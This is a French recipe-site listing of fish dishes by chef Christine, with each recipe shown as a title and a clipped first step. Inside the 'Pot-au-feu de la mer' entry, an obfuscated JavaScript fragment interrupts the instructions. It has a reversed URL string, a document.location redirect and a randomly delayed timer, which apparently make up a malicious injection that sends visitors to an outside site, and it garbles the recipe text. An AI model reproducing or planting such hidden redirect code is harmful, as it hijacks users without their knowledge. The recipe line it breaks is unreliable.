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Catégories : Abats , Boissons , Bouillons , Confiseries , Desserts , Fruits , Légumes

Chef Christine

Christine

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Toutes les recettes et articles de Christine

Maquereaux à la vénitienne

Catégories : Cuisine:
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Rincez, séchez les filets de maquereaux. Pelez, coupez en quatre les pommes de terre. Les ...

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Sauté de lotte au curry

Catégories : Cuisine: ,
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Pelez et râpez le morceau de gingembre. Pelez, coupez en deux l’ail, ôtez le germe. ...

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Pavés de saumon avec une compote de pommes et fenouil

Catégories : Cuisine: ,
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Rincez, séchez, émincez le bulbe de fenouil. Pelez, émincez l’échalote. Dans une eau bouillante salée.

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Ballottine de poisson

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Rincez, essorez, hachez le persil.  Dans une poêle avec 2 cuillerées à soupe d’huile d’arachide, ...

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Soufflé aux saumons

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Effilochez le saumon et l’écrasez en fine purée avec une fourchette. Préparez une béchamel épaisse.

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Sardines gratinées

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Écaillez, videz, rincez et séchez les sardines. Dans une casserole avec le beurre, sur feu ...

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Pot-au-feu de la mer

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Coupez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les poissons en petits morceaux. Enlevez les ...

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Clafoutis de maquereaux

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Rincez les brocolis sous le robinet d’eau froide. Dans un récipient d’eau bouillante salée, plongez ...

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Saumon farci aux pruneaux

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Fendez les tranches de saumon dans l’épaisseur, ouvrez les, aplatissez les en escalopes. Salez, poivrez.

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Pavés de cabillaud / noix de coco / coriandre

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Rincez, séchez les pavés de cabillaud. Avec un pinceau nappez les pavés de noix de ...

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